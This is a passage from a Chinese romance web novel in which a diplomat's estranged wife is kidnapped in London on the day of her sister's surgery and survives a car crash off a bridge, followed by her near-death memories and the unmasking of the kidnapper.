早上出门前的一幕幕出现在脑海里,谢砚京今天那一套,很明显要出席正式场合,这种场合他接触手机的机会不多,所以可能到现在他也不知道手机已经被换掉的现实。 剩余的次数已经不多了,孟汀暂时没有别的想法了,她觉得谢砚京总不至于恋爱脑到将密码设置成和她有关的数字。 而就在她四处打量准备寻找一个靠谱的工作人员时,身后忽然想起一个低沉的男声。 “你不如试试0923?” 什么? 孟汀心中一紧,回眸间,只见谢砚京正从不远处走来。 候诊厅的灯光明亮又耀眼,落在他眼里的那部分却很淡,很平常的一句话,孟汀却从中听到了点若有似无的讽意。 大概原因可能是……这个日期是他们两个领证纪念日。 但她却根本也没有想过尝试。 怔然的瞬间,修长如白玉一般的手指从她身前绕过,猝不及防地抽出她攥在掌心的手机。 接着,他仿佛一个严格的老师,带了种给小学生示范般的神态,将这四个数字一字一顿的输入进去,最后将打开的屏幕,大大方方地展示在孟汀眼前。 孟汀:“……” 谁想看了。 既然物归原主,孟汀也没想着在这个事情上和他纠结,反而意识到一个更严重的事情。 她的手机还在他的手上。 他控制欲一向强,离开他之后她根本就没想到会回来,手机密码也一直没改,此刻落在他手上,还不知道要…… “拿好了。” 她没想到,下一秒,自己的手机竟然被他直接塞了回来。 谢砚京低垂着眼眸,像是读心似的,没什么情绪地强调了下:“我没看。” 很平淡的一句话,她觉得自己的心绪却莫名被扯了下。 她曾经因为他看她手机的事情生过不少气,也因此在她的潜意识里,对他所做的各种事情接受度足够高了。 所以也根本没想到,此刻竟从他的语气里听到了几分低声下气,像是在说,我改好了。 孟汀没吭声。 谢砚京:“手术的时间已经定好了?” 孟汀小声“嗯”了声。 谢砚京:“有什么需要帮助的,直接给李叔说。” 孟汀还是没说话,但也没像之前那样不客气地反驳。 他所做的那些曾经她以为的不可理喻的事情本来就是莫须有的,非要给他定个罪,也只能是他对她从前那些占有欲。 她从前以为这些占有是站在某种不公平的基础上的,比如说让她在京市短暂的有个容身的地方,再比如说,小云的手术。 但现在看来,他好像从来没有把那些当成基础和交易的筹码。 如果不是交易的话,那又是什么? 孟汀觉得自己不明白了。 第69章 也因为这点不明不白,她才会从医院出来时,莫名其妙地上了他的车,又和他一起吃了午饭。 午饭吃的是伦敦一家老牌的披萨。 一开始李叔将车子停在那家小店门口时,孟汀还觉得有些意外,她以为像他这样的人,不会去这种国外版的“路边摊”。 但谢砚京不仅去了,还一副驾轻就熟的样子。 孟汀看他几乎没扫菜单便报出了菜名后,好奇地问了句:“你之前来过?” 谢砚京只是淡淡嗯了声。 他当然不会说当初为了孟云溪手术的事情,他在这边跑了将近一个月的时间。那时他因为医疗机构的腐败,甚至还和联系机构的梁叙生了好大的一场气,斥责他不谨慎,不严密,没有做万全的调查和准备,因此手术取消后更换医疗机构和主刀大夫的所有工作,都是他亲力亲为。 有时候来不及吃午饭,他就会在附近的小店解决。 一个月下来,x也算是对这边的口味了如指掌。 尤其是这家店里的酥皮蓝莓塔,口味和她在国内很喜欢的那家甜品店的味道很像。 事实证明他这个地方没有选错,所有菜品上齐之后,孟汀便津津有味地吃了起来。 两人坐在靠窗的位置。 雨后的街景有种独特的味道,行人来来往往,穿梭如潮,红色的双层巴士转弯而过,在黯淡的天色下,像是被水浸过的暗色玫瑰,艳丽又颓靡。 明净的窗户将这一切阻挡在外,又将一切映射其中。 这顿饭比想象中吃的安静了不少,孟汀没提邮件的事情,谢砚京也没再说他手机密保的事情,两个似乎只是顺其自然地吃了个饭。 孟汀想起自己刚来伦敦的那段时间,好像也是这样的阴天。 那一段时间,虽然谈不上焦头烂额,但是陌生的生活,未开始的学业,还有孟云溪排期未定的手术,也足够让她步履匆匆。 那时候她就在想,什么时候能坐在这样的小店里安安静静地吃上一顿饭。 这个愿望,好像比她想象中实现地快了不少。 * 二月的最后一天是周末,也是孟云溪达到伦敦的日子。 孟汀早在一周前就在医院附近租好了房子。 单月出租的房子不好找,起初她跑了好多中介机构,都没有找到合适的月租房。没想到就在她决定咬牙付下最少三个月的房租时,中介告诉她最新注册了一对喜欢旅居的老夫妻,同意租给她一个月的时间。 孟汀一开始很惊喜,但是介于之前的种种,她这次非常谨慎地询问了一下李叔,旁敲侧击是不是谢砚京的手笔。 电话接通后。 李叔茫然道:“租房?没有啊……” “谢先生没有插手这件事。”李叔笃定道。 听出孟汀语气中的不解和担心,李叔耐心地给出自己的理解。 “您能租到这样的房子,是应该的。” “您和谢先生都是好人,这个世界上,好人有好报是很正常的事情,你们两个又是夫妻,很多事情,一同频,一共振,事半功倍啊!” “您若不放心,我再去帮您核实一下,顺便再核实一下房东的身份,这样您和云溪小姐住进去也安全一些。” “这些天您没有回望公馆,今年咱们院子里的海棠开的特别好,这是吉兆啊,云溪小姐的手术一定会顺利进行的,您的学位也会顺利拿到的。” 孟汀知道李叔是极真诚的人,很少说一些场面话,这些大概也是他发自内心的肺腑之言。 但听到之后,她还是莫名红了脸,尤其是同频共振那一块,直到挂断电话,心底依然有些泛酸。 * 时间就这样不知不觉地又走了好多天,一系列最终的检查过后,孟云溪终于等到了手术那一天。 只不过不巧的是,这天和孟汀的开题时间撞了。 和老师商量之后,孟汀决定将开题时间放在孟云溪进手术室前一个小时,不出意外的话,她从学校赶回医院时,也是孟云溪被推进手术室的时间。 一大早,孟汀收拾好自己的电脑,化了个淡妆,准备先去医院看一眼孟云溪才去学校。 “我很快就回来了,你记得听护士的话,如果有什么问题,及时给我打电话。” “还有,一定要坚持住不要——” “不要喝水不要吃东西也不要紧张。” 这话孟汀说了好多次,到今天孟云溪已经能抢答了。 孟汀先是怔了下,确定她的语气不是不耐烦,而只是单纯为了活跃氛围之后,很轻松地笑了一下。 孟云溪用手语给她比划:“姐姐,你也不要紧张。” “我们都会很顺利的。” 孟汀笑了。 她没多说什么,只是在孟云溪的床头检查了一遍,确定护士交代给她们的任务全部完成。 等到时间差不多的时候,她才终于合上自己的包,准备出发了。 但转身之后,衣角忽然被轻轻拽了下。 孟汀疑惑地转身,孟云溪顿了半晌,才朝她打了手语:“今天他也会过来吧?” 孟汀看着她那犹豫的小表情,就知道她指的是谢砚京。 说实话,这几天,谢砚京出现的次数确实频繁了些。 她其实也不知道是从什么时候开始的。 起初他只是派车帮忙将孟云溪从机场接回来,后来他又出现在了两人搬家的队伍中,接着又在孟汀遇到学校或者剧院的事情时,早早地等在楼下和她一起出发。 他好像无处不在……又好像没有刻意存在过。 换句话说,就是一直出现地恰到好处。 今天是手术日,晨起时谢砚京给她发了消息,说自己有个临时会议,但是他也尽量会在手术时赶过来。 “其实他过来,也挺好的。” “他办事细心,又有耐心,多个人帮你,你会少很多辛苦。” 孟汀当然知道这是孟云溪的私心,但是她和谢砚京的关系处于一种她自己也说不清的复杂状态,不好全盘肯定,也不好全盘否定,但是为了让孟云溪安心手术,孟汀还是坦然接受般地点了下头。 临走之前,孟汀又给了孟云溪一个拥抱。 她们失去了父母,可是只要两人在一起,就还能组成一个“家”。 孟云溪自然能感受到姐姐这个拥抱的分量,她们互相支撑着走了这么多年,终于到了山回路转,柳暗花明的时刻,无论如何,她都要坚持下去。 只是目送着孟汀离开时,孟云溪想起一件前几天发生的,但是她没告诉孟汀的事。 * 孟云溪住进来的第一天,谢砚京来过一次。 那天孟汀有事去了趟学校,病房里只剩下她一个人。 谢砚京敲了敲门,得到允许之后,才进来。 他穿一身纤尘不染的西装,白衣黑裤,身材修长,五官清隽,温雅矜贵,又足够具有压迫性。 冷白灯光下,她坐在这头,他坐在那头。 两人之间宛如摩西分海。 其实在此两个小时之前,孟云溪就注意到了他的身影。 高大,冷峻的一个背影,穿梭在医生办公室和检查室之间。 起初她以为是哪个上级的领导,因为他神情严肃,语调冷清,干练,没有一句废话,但气质又很独特,桀骜中带着几分泠然,又足够和普通领导区别开来。 再次在病房中看到,孟云溪还是有几分诧异的,她心中其实暗暗有了个答案,但是不太敢确定,直到他叫出她的名字,给她看自己的身份证、工作证、护照以及……他和孟汀的结婚证,她才相信,这人真的是谢砚京。 曾经的外事部发言人,和孟汀领证多年的丈夫,她的姐夫,谢砚京。 这样的身份对孟云溪来说其实有些过于庞大了,而且又是他们两人的第一面,按理来说,她会紧张,会不自然,但是这种感受,在两人的对话中,并不明显。 他掌控全局的能力太突出,似乎一直将两人的沟通把握在一个让她接受的程度内,更重要的,他虽然看上去严肃,冷峻,凛然,但并没有她想象中权贵家族的高高在上和颐指气使。 曾经因为姐姐的事情,她对他有种先入为主的抗拒情绪。 但真正见到之后,她发现他似乎和自己想象中的不太一样。 他更像是以一种平等的身份和她沟通。 孟云溪沉默地直视着那双深邃而意沉的黑眸。 他给她讲手术的原理,具体的方案内容,可能存在的风险,和预后的一些措施。这些内容其实之前医生和护士都同她沟通过,但是因为用的是英语,她能大致明白,却缺少一些细节。 而谢砚京的叙述,主次分明,逻辑清晰,条理得当,不仅如此,他那极强的外语习得能力,完全弥补了那些缺失的细节。 “你还有问题吗?” 孟云溪摇了摇头。 他们学校教学能力最强的老师尚且不如他,她确实没有什么好问的。 谢砚京看她沉默,也没有勉强,沉默了半刻后,准备起身离开。 两人沟通到这里,其实已经可以完美结束了,孟云溪目送着他离开。 但她也不知道自己为什么会在他准备出门时,下意识地用手背轻轻拍了拍下颌线。 在手语中,这是“等等”的意思。 更让她想不到的是,眼前的男人竟然因为这个动作顿住了脚步,转过身,回望她。 第70章 孟云溪震惊了一瞬,在对上男人回转过来的目光,又尝试着用手语询问了下:“你能听懂我的话?” 谢砚京看着她,平静道:“你姐姐以前买过好几本手语书,我没事时翻过。” 孟云溪再次震惊x。 “只是翻过,就能记住大部分内容吗?” 谢砚京觉得此刻和她解释自己过目不忘的能力有些多余,只是沉声问:“你想说什么吗?” 孟云溪沉默了一会儿,似乎是觉得接下来的话题有些难以启齿。 但她也不敢耽误多少时间,生怕让对方等的不耐烦,干脆直接低头,用文字打出她想说的话。 “我姐姐,一直过得很苦。” “我妈妈年轻的时候有轻微的抑郁症,熙园的人看不起她的身份,对姐姐自然也不好,妈妈有时候会提起姐姐小时候的样子,说她以前很活泼,很纯真,也很善良,可硬生生地被环境逼成了现在这样患得患失的样子。” “我姐姐其实是个很内耗的人,她对没有确定的事情,向来没有安全感。” “比如说,哪怕她考试时发挥的再正常,只要成绩不出来,她就是觉得自己考地很差劲,或者说,她有百分百的可能赢得比赛,但不到宣布的那一刻,她也不会放松。” 孟云溪想到什么就打给他看。 谢砚京也没说什么,只是眯着眼睛,看她一句又一句地答出来。 直到她敲下最后一句话。 “我想说的是,她在感情上,也一直是这样。” 患得患失,小心翼翼,越珍重越小心,却也越容易回避。 她一直将这段感情看的太重。 鼓起勇气敲完这些字后,孟云溪小心翼翼地抬起眼眸,很担心他因为她的冒犯而不悦。 但眼前那人似乎并没有起多少波澜,只是睨着她,淡声道:“你说的,我都知道。” 孟云溪怔了下,没想到他回答的这么干脆。 可是他的语气太沉着,太庄严,又一点儿也不像撒谎的样子。深邃的眼眸虽然透着冷淡,但是沉下去的那一瞬,好像真的能穿透那些时光,看到孟汀的曾经。 “那你呢?”孟云溪问出最后一个问题,“你也想离婚吗?” 孟云溪作为小辈,问出这样的问题其实已经很冒犯了,但她完全豁出去了。 她本以为谢砚京会犹豫一下,没想动他竟然干脆利落地回答了这个问题。 “我不会离婚。”他起身,理了理衣襟,一副不愿多说的样子。 孟云溪的目光很明显在说:“可是——” 谢砚京自然看到了,所以才会在转身时顿住脚步。 “我们之前是有些矛盾,她也惩罚我了。我会等到她气消的时候,再好好追她。” “但是离婚,绝不可能。” 他用最平静的语气,说出最不客气的话。 孟云溪甚至都不确定她到底有没有听清“追她”这两个字。 但又觉得,他一直以来的表现,确实是在践行这两个字。 * 她们同专业的同学开题都在这一天。 因此一大早,班级群里就弥漫着浓重的紧张气息。 班导师发完打印的要求和时间地点之后,大家便在下面七嘴八舌地吐槽起来,算是发泄一下紧张情绪。 【啊啊啊为什么今天要答辩?我是穿越了吗,明明记得还有整整一个月的时间】 【别说了,我昨晚好不容易修改完最后一版,你们猜怎么着,一大早醒来发现没保存,我觉得我即将去世】 【开题都这么紧张,很难想象我答辩的时候会不会直接昏过去】 【要是真的晕过去了,能直接跳过这个环节吗?】 孟汀一边看着大家插科打诨,一边又检查了一下自己打印的文件。 虽然她对即将到来的答辩非常紧张,但是一想到今天之后,孟云溪的生活能回归正常,她就有种发自内心的开心。 走出医院大门时,甚至连脚步都变得轻快了不少。 李叔本来是要过来的,但是孟汀怕麻烦,提前一天便约好了网约车,这会儿走出医院时,车子已经停在大门口了。 孟汀给司机打了个电话,准备拉开后车门。 没想到后座上竟然放着一个很大的包裹,几乎占据了半个座位。 司机抱歉地说,他临时接了个快递,孟汀如果不介意的话,可以坐前排。 孟汀皱了皱眉,虽然有些无奈,但是距离开题的时间又太近了,她怕再耽误一会儿,会迟到,便也没多想,直接坐上了后排的位置。 车子驶出医院区域,一开始,导航还在她预想的范围内。 直到某个转弯处,对方直接关掉所有定位系统,并且将车门从内紧紧锁住。 孟汀怔了一瞬,起初她还以为是车子故障,直到身旁的纸箱子被掀开,露出一个狰狞的面孔,面孔上,是她曾经看到过,并且恐惧过的一双眼睛。 * 这场会议在意料之外。 跨区域经济合作一直是他这段时间内工作的重点,但是在商言商,场面话终究抵不过落到实处的好处和利益。 也因此,在涉及最切身利益的条款中,合作方始终达不成一致。 作为老牌的英国跨国公司集团,对方拥有全世界最强的法律和政策咨询顾问,又企图借用当地的法律保护,最大限度的实现本国公司的利益最大化。 谈判过程无疑是艰难的,到了今天,该说的场面话已经说尽,多方协商之后。已由正面的协商,转化为对媒体和公众评判式的施压方式。 谢砚京作为合作负责人,回应的压力自然也落在了他身上。 “在经济全球化的进程中,没有任何一个国家和地区能够脱离其余国家的发展而发展。跨区域经济合作正是全球化时代推动可持续发展和共同繁荣的重要引擎。” “我们主张的合作,是开放的,共赢的,包容的,公平的,面向未来的,而不是独立的,单边的,封闭的,坚持孤立和强权,无疑是将自己本就摇摇欲坠的状态推入绝境。” “我们坚守规则,坚守原则,但绝不妥协。” “行有不得,反求诸己‘,只能反思调整行动策略,提高认知与能力,才能更加有效地应对现实问题。” …… 发布会在既定的时间内完成,虽然氛围称得上剑拔弩张,但因为他足够充分的经验,应付下来不算很困难。 结束后,他回绝了平日里的采访环节,直接让李叔将车子开往医院。 几乎是第一时间拿到手机,谢砚京就打开聊天软件,找到被他设置为置顶的那个人发了条消息。 【在路上了吗?】 自从他的联系方式被拉出黑名单后,他和孟汀便一直在陆陆续续聊着天。 起初是一些必须沟通的小事,后来,是一些平淡日常的分享。 这几天孟云溪又是做手术,孟汀论文又是开题,话题基本围绕着这两个方面。 最近一次聊天是昨晚。 跳舞时,孟汀专业能力突出,表现力强,做幕后的作业时,她有细心有耐心,准备充分,但对于偏学术型的演讲和答辩,她并不擅长。 想当初她大学时毕业答辩的演讲稿和论文,就被谢砚京修改了五遍。 不过这次她有进步了,谢砚京只帮忙修改了三遍。 尽管如此,她还是对第二天的答辩习惯性的焦虑。 谢砚京的视频电话便是这时候打过去的。 孟汀接到时几乎吓了一跳。 谢砚京的眉毛不经意地轻抬一下,从前他因为工作受保密法的约束,没有打视频的习惯,没想到她会这么吃惊。 他还在办公室内加班,白衬衫,西服裤,这个点,领带还扎得一丝不苟,皮质转椅里,正襟危坐,孟汀大概是刚刚洗完澡,穿了件比较宽松的v字领睡衣,她趴在床上,撑着个小脑袋同他讲话。 “有什么事吗?”大概以为他要提开题的事情,她的眉心微微皱起,显得有些焦虑。 谢砚京则开口道:“你想养猫吗?” 孟汀一开始没听清:“什么?” 他直接将照片发给她。 原来是谢书语前几天在小区里捡了只怀了孕的小猫,三月份京州的天气还没有完全暖和起来,无论是对人还是小动物,分娩都是足以在鬼门关走一圈的事,谢书语不忍心,直接将小猫带回来了家。 视频那头,孟汀盯着那团团的几只小猫发了会儿呆。 谢砚京淡声道:“她一个人照顾不过来,现在在广发收养广告,不过这不是宠物猫,她朋友圈里的人怕是看不上去,而且她父母一直不太喜欢猫,如果没有送出去,以后怕是……” 原本还在犹豫的孟汀立刻道:“我要一只!” 孟汀选了那只最小的橘猫,谢砚京不用x问也知道她是怕别人看不上才自己养。选完之后她大概才后知后觉地想到这只小猫是要先被送到望公馆的,于是颇为紧张地问了句:“你不会不喜欢它吧?” 谢砚京沉默着摇了摇头。 他怎么可能不喜欢。 后半程,两人基本都在聊猫。直到快要到入睡时间,孟汀才恍惚意识到第二天是答辩和手术日,匆匆忙忙放下手机准备睡了。 看她的状态,谢砚京觉得她应该会睡个好觉。 如果昨晚睡了个好觉,那么她今天的答辩应该会很顺利。 可是…… 她为什么不回消息? 车子后排,谢砚京虽然一路都不动声色地端坐着,可是往手机上瞥的次数,却比任何一段路程都要多。 车子终于到达医院门口。 谢砚京迈着匆忙的步伐,一刻不停地上了楼。《 》 70-74 第71章 终于走到病房门口,却没有看到那个熟悉的身影。 房间里只有正在量血压的孟云溪。 看到他之后,孟云溪怔了下,显然她现在对“姐夫”这个称谓还有些难以接受,只沉默地微微颔首,用眼神说了句:你来了。 看到平安无事的孟云溪,谢砚京的紧张情绪也暂时缓解了几分,至少他知道不是因为孟云溪出现意外,而让孟汀陷入困境了。 “你姐姐没过来吗?”谢砚京问。 孟云溪用手机打字:“她早上来了一趟,说自己要去答辩,会尽量赶过来。” “但是答辩的事情,说不准。” 可能被老师为难耽搁了,可能手机静音没听到,可能在路上被司机耽搁了。 但是手术的时间是定好的,孟云溪就算是想等孟汀,也等不了了。 护士最后核对孟云溪的信息后,将孟云溪推进了手术室。 谢砚京只能根据护士的要求等在休息区。 时间一分一秒的过去,他手机上收到了不少消息,但没有一条来自那个置顶联系人。 他知道自己或许应该安静地等待,但心中却有种莫名的不安。 难道是被那帮老东西为难了? 她的发言稿他帮忙把控过,连可能得问题两人都预设过,到最后她对研究的内容称得上透彻,应该不会因为这个事情而耽误。 其他呢?如果是路上堵车,她为什么不会消息? 她从来都是个说到做到的人,既然说了会在手术前赶回来,就一定会赶回来。 除非…… 原本正襟危坐的男人,“噌”地一下,从座椅上起身。因为用力过猛,手背上的青筋在一瞬间爆起,平日里平静意沉的双眸,暗如黑夜。 “李叔,把车钥匙给我。” 李叔怔了下:“什么?先生您这是要——” 很正常的一句询问,谢砚京的回应却带了一丝很明显的不耐烦,几乎是某种风雨欲来的情绪,却依然克制地来了一句:“把要钥匙给我,你在这里照顾小云。” 他身上冷的像是浸了一层风雨。 李叔不敢多问了,立刻将车钥匙给了他,却又在他飞快转身离去的时候,投去一个担心的目光。 这是怎么了? 但他没能困惑多久,手机上便收到一份调查报告。 这是元旦之后,谢砚京着手安排下去的身份调查任务,因为涉及的年代已久,地区复杂跨度大,一直没有多少实质性的进展。 直到今天—— 李叔睁大眼睛,颤抖着双手,一字一句地读着报告上的内容,越读他心中越惊恐,冷汗顺着额间淌下来。 …… 拥挤的车道上,这辆黑色的车却开的若无旁人。甚至因为超速行驶,旁边不少车都给他让出了条道,更方便其加速。 缩瑟在车子一角的女孩,双手反剪着被绳子捆在身后,嘴巴也用胶带彻底封住。 因为挣扎,她的脸上和胳膊上撞出了不少淤青和血迹,打理精致的头发也变得凌乱不堪,衣服也有了撕碎的痕迹。 “孟汀,我们又见面了。” 这个人,正是跨年夜那天,在角落里注视她的人。 “想不到吧?那天我们对视了一眼,本来我还以为自己的判断出了错,但是后来……”他忍不住笑起来,好像上天帮了他一个多大的忙。 孟汀惊恐地摇着头,却发不出任何声音,唯一能做的,就是死死地盯着他。之前只是遥遥一眼,现在清楚看到他的模样。 她不知道他的身份,也看不出他的年龄,只是觉得他还算年轻。若不是用那双带着仇恨狞笑着看着她,嘴角勾出轻浮而兴奋猥琐的笑,他的容貌其实还算出众,举手投足甚至还带了点世家公子哥的感觉。 而且还有些眼熟。 隐隐和她记忆中的某张面孔有些重合。 可仔细想想她又觉得太荒谬了,一个熟悉的世家公子哥怎么可能绑架她? “你一定很好奇我是谁吧?”就在孟汀还在苦苦思索时,他竟然主动提出了这个话题。 男人语气兴奋而扭曲,完全不是想要解释,而是将这种一问一答的话当成折磨孟汀的武器。 “不过说起来,我们其实还是同类。” “我们被同一个人玩弄于掌心,被他折磨,被他凌辱,被他践踏,却逃无可逃,只能活在他的阴影之下,过着可怜又卑微的生活。” 孟汀瞪大眼睛看着他,被反剪在身后的手指掐进掌心,因为惊恐用力过分,似乎早已经渗出了血迹。 男人用他那双古井无波的眼睛继续盯着孟汀继续道。 他此刻已经不是和孟汀对话了,完全陷入一种疯狂的自言自语的状态当中,只当孟汀是一个倾听他发疯的物品。 “谢家长子,天才少年,大名鼎鼎的发言人,外交官,站在聚光灯和媒体之下,无论在哪里都光鲜亮丽,引人注目,可是我们呢……只能在国外过着隐姓埋名的生活,还不如谢家的一条狗。” “他过得实在是太顺了,太顺了,家庭,学业,感情……这个世界上不应该有过的这么顺利的人。尤其是因为踩在别人身上才能过得这么顺利的人!” 他一刻不停地絮絮叨叨着,那双恐怖的眼睛像是充了血一样泛着红,他讲从前的事情,也讲他这些年的准备。 “你不知道这些年为了找到他的弱点,我付出了多少努力。” “那些表面上道貌岸然的人,哪一个查下去不是劣迹斑斑,贪污受贿,投机倒把,性。骚扰,有的人为了利益,甚至连自己的老婆女儿都能送出去,他倒好,在这些最容易抓住把柄的东西上干干净净。” “干净到我已经绝望,干净到我已经准备放弃了。可是没想到,一年后,你出国了,真是老老天开了眼。我没想到他那样薄情冷漠的人,也会对一个女人动了心,动了情。你简直就像个礼物一般出现在了我的生命中。” 他越说越兴奋,最后甚至扯下了原本贴在孟汀唇上地交代,好像也想让她分享自己的乐趣一样。 “你说要是他看到你即将要拍的照片和视频,会是什么反应?” “如果这件事情被传播出去,又是什么反应?” 对方放声大笑。 车子本来就是隔音效果极好的SUV,笑声在整个车子内回荡,像是燃烧的浓雾一般,呛得她几乎无法呼吸。 照片和视频…… 原本混乱的思绪直接被这句话彻底撞到清醒。 还能是什么照片和视频? 他说完这些话,孟汀基本已经猜到了他的身份。这是不是普通的绑架案,所以她很难用那些普通的手段逃离。 一瞬间的绝望几乎要将她整个人都淹没,她只能依仗着最后一点残存的理智,才没有到崩溃的地步。 不能哭。 一定会有办法。 车子依然在行驶着,这句话似乎触到了男人的兴奋点,反而让他有些放松,孟汀也是这个时候,听清了导航的播报。 前面是个大桥。 没人想到她会骤然发力。也没人想到,她作为舞蹈生,身体柔韧性好到可以直接扑到前方反向盘的位置。 司机的反应时间显然比孟汀晚了不知道多少,等到两人反应过来时,她已经死死地打着方向盘,往大桥旁的位置撞去。 “你疯了!” 一道尖叫声在车内响起,孟汀甚至分不清是谁发出来的,急刹车在车道上拉出一道很长的痕迹,前后车辆疯狂鸣笛,混乱地躲避着这辆看上去完全失控的车。 孟汀觉得自己的脑袋被外力撞击好几下,疼到发晕疼到想吐,眼前已经不知道是血水还是汗水还是泪水了,却依然固执着强撑着。 她赌他们不想死。 几乎失真的画面中,她看到这两个男人为了活下去做的挣扎。 只听x“嘭”的一声,车头似乎撞到了栏杆上,一瞬间,警报声,尖叫声,哭声,同时在耳边响起,但孟汀却要失去意识了。 其实只差了那么几分钟。 从医院出来后,谢砚京的车以一种他从来没有体验过的车速行驶着。 油门和刹车都踩到最深,从主干道到超车道,再从超车道到主干道,但凡车上坐着一个人,都会觉得开车的人怕是疯了。 可是这已经是他克制再克制的结果了。 充满力道的手臂握着方向盘,青筋几乎都凸起,他面无表情地直视着远方,眉间笼着一层阴郁至极的阴霾,若不是被狠狠压制,不知道要卷起怎样的狂风暴雨。 很难想象,在这样的情况下,他还联系了警方,医院,私人保镖,甚至连国民安全队都惊动。 他这些年维持的那些轻易不能动的人脉,资源,谢家这一代维持的轻易不能开口的人脉,资源,全都在这一天被他用了个遍,谢家人若是知道他这样做只是为了一个女人,说不定连祠堂的屋顶都要掀翻。 可他还是做了。 可他还是晚了一步。 当车子行驶在大桥上时,他亲眼看到,前面那辆失控的车,在撞上围栏之后,直挺挺地翻过大桥的防护栏,摔进了冰凉而湍急的河流中。 第72章 剧烈的疼痛像是沉重的铅一样灌入她的五脏六腑当中,接着灌进去的,是冰冷而刺骨的江水。 看着眼前逐渐模糊的场景,一阵略显嘈杂的声音在孟汀脑海里响起。 这就是走马灯吗? 应该是吧。 人世纷繁复杂,什么东西都有,但是这样纯粹的,干净的,明亮的光,却不常见。 孟汀眨了眨眼,努力让自己的思绪聚拢,却也忍不住在心中叹气。 她爸爸经历过这一幕,妈妈经历过这一幕,如今也轮到她了。 若说从前她还会觉得上天不公平,但真正走到了这一步,她又觉得,好像也不是不能接受。 两个本不该走在一起的人,生下一个本不该生下的孩子,本该被雨水滋润的绵长生命,只能被苦水灌溉,又怎么能开出鲜艳明媚的花? 孟汀无奈地笑了下,这才发现,眼前好像是她曾经生活过的熙园。 这是一栋前朝遗留下来的老房子。面积不大,却是很漂亮的园林式建筑。 春天的时候,玉兰花盛放在窗棂之下,风一吹,大片的花朵落成一场璀璨的花雨,夏天时,凌霄花从檐间垂落,比任何生命的底色都要热烈,秋天时,缤纷的落叶交织成一片彩色的水墨,到了冬天,腊梅花的冷香萦绕在每一个角落。 这对任何人来说,都足以称得上美好的四季,孟汀却从未真正享受过。 “一个抛头露面的戏子,有什么好,族里的人一开始就不看好这桩姻缘,算了三次八字都配不上,现在好了,生了个女儿,又是个克星,我看她爸爸的命就是被她克死。” “可不是吗?我看她妈妈也是待不住的,刚刚没了男人,还要去外面唱曲,前几天送她回来那个黄老板,怕是起了娶她做续弦的心。” “戏子无情,孟家摊上这样的事也是倒霉。” …… 孟汀轻轻地从记忆的小路上走过,看着那个蹲在角落里默默流泪的少女,想上前一步又觉得是徒劳。 她默默地走远了。 光影变幻。 曾经只会躲在角落里哭泣的小女孩长大了不少。 可是她也因为长大付出了该有的代价。 她扎着两个因为生疏而凌乱的辫子,正泪流满面地望着母亲一言不发地离去。 从前的日子再苦,再怨恨,但她依然能作为一个被庇护的孩子,能有让她爱的载体和力量。 母亲再不快乐,偶尔也会耐心地听着她从外面归来说的那些琐事。 母亲再疲惫,也会冒着风雨去工作,只是为了她在这个家能过得更加心安理得一些。 可是命运连这一点温存的幸福,都要在她面前退推走。 她继承了母亲的天赋,也继承了她的固执。命运对这对母女来说,从来都不是充满选择的十字路口,而是一条道走到黑的无尽和笔直。 凌晨的练习室里,一个小女孩正在不知疲倦的旋转,跳跃。这是母亲离开熙园的第一天,也是她正式决定走上这条路的第一天。 不知道为什么,看到这一幕,童年那些深入骨髓的痛反而消减了一些。 场景再次变幻时,她已经来到了京市。 虽然熙园对她来说并不算个温馨的家,但也不及京市给她带来的漂泊感更让人迷茫和无助。 环境从来不会因为她是一个孤独的人就对她宽容以待,为了逃避孤独,所以后来的每一分,每一秒,她都在努力。 可是人的意志力都是有限的。 晨起时刺骨的风,晚归时逼近零下的温度,就算是受伤也不肯停下的脚步。 而就在这段艰难的记忆中,似乎隐隐约约透出点模糊的光。 她晚归时,那个大她几岁的哥哥,也晚归。 她努力时,那个大她几岁的哥哥,也在努力。 她在练习室里一刻不停地旋转跳跃,他则在书案上一刻不停地奋笔疾书。 晚归时扑在她面上的冷风,也公平地浸透了他满身。早起时看过的那些日出,也曾照耀在他身上。 阳光灿烂的春天里,她看到葳蕤天光下的他。 无星无月的夜色中,她看到站在无边无际黑暗中的他。 她隔着春光看到他,隔着夏花看到他,隔着满院的秋色看到他,隔着风雪看到他。 寻找慰藉是人的本性。 而他本身就是一个足够有力量的人。 因此无论是多么微不足道的细节,她也俯身拾起,将那些事情变成支撑自己走下去的执着。 她知道,如果没有这些执着,她早就崩溃了。 而天长日久的执着,会变成执念,也会变成遥不可及的希冀,和永远也无法说出口的深沉爱意。 …… 是爱意吗? 她看到他同她提出协议结婚的那一天,看到两人在民政局匆匆领证的那一天,看到工作人员在那个红本子上戳上钢印的那一刻。 时光这头的孟汀望过去,却发现自己对这两个字的感受竟然这么深沉。 可惜她没有机会知继续感受了。 很奇怪。 她以为自己会变得平和,会变得释怀,但此刻心中却是一种深入骨髓的痛苦和酸楚。也不知道是怎么回事,心中杂糅千头万绪,委屈,苦楚,惭愧,甚至还有后悔…… 眼泪悄无声息的落下。 真的很奇怪…… 原来走马灯的最后一个环节,是落泪啊…… * 孟汀被救援队打捞上来的其实很及时。 但是落水前的剧烈碰撞和间歇性窒息造成的脑震荡和缺氧,让她陷入昏迷当中。 谁曾想,孟云溪从手术室里平安出来的那一刻,正是孟汀被推进去的那一刻。 谢钰推掉了手中的大部分工作,每日定时定点到医院,接手一部分孟云溪的关照工作,但更重要的,是看着谢砚京。 今天,看到李叔将端进去的饭菜完好无损地又端出来,颇为无奈地叹了口气:“他还是不肯吃饭?” 李叔沉默着摇了下头。 何止是不吃饭这件小事。 自从汀汀小姐从手术室出来,谢砚京连睡觉的时间都很少了。 他一天的大部分时间都待在病房内,就算是偶尔的间隙,也是去天台上吸烟。 李叔从来没见过他这样失魂落魄的样子,从前孟汀小姐离开,他也曾颓败和沉郁过,但绝不如这一次疯狂和深陷。 嫌犯的身份早已经调查出来了,是谢家一位旁系叔叔养在国外的私生子,叫谢智。他父亲薄情寡义,当年只给了母女一笔钱就将两人流放在国外。 他母亲因为这个男人的冷漠无情,染上毒。品,精神错乱,没有多久便郁郁而终。而这位旁叔为了躲避责任,不惜编造谎言,称他为谢砚京的私生子弟弟,是谢砚京为了自己的职位和谢家的资源,才会将他困在国外。 仇恨和恨意像一颗种子,在他的心中滋生,蔓延。他甚至没有思考过那些话的真实性,就将自己人生的不顺、落魄,强加在了谢砚京身上,企图通过孟汀报复自己的恨意。 当然,他从车中跳出逃生时就被警方控制,当场以绑架罪给拘捕。 但毕竟是谢家的事情,虽然是个不值一提的私生子,但是传出去也有损家门声誉。更何况,谢家还一向以清正严明的家风著称,这样丑闻,还不x知道会造成怎样的影响。 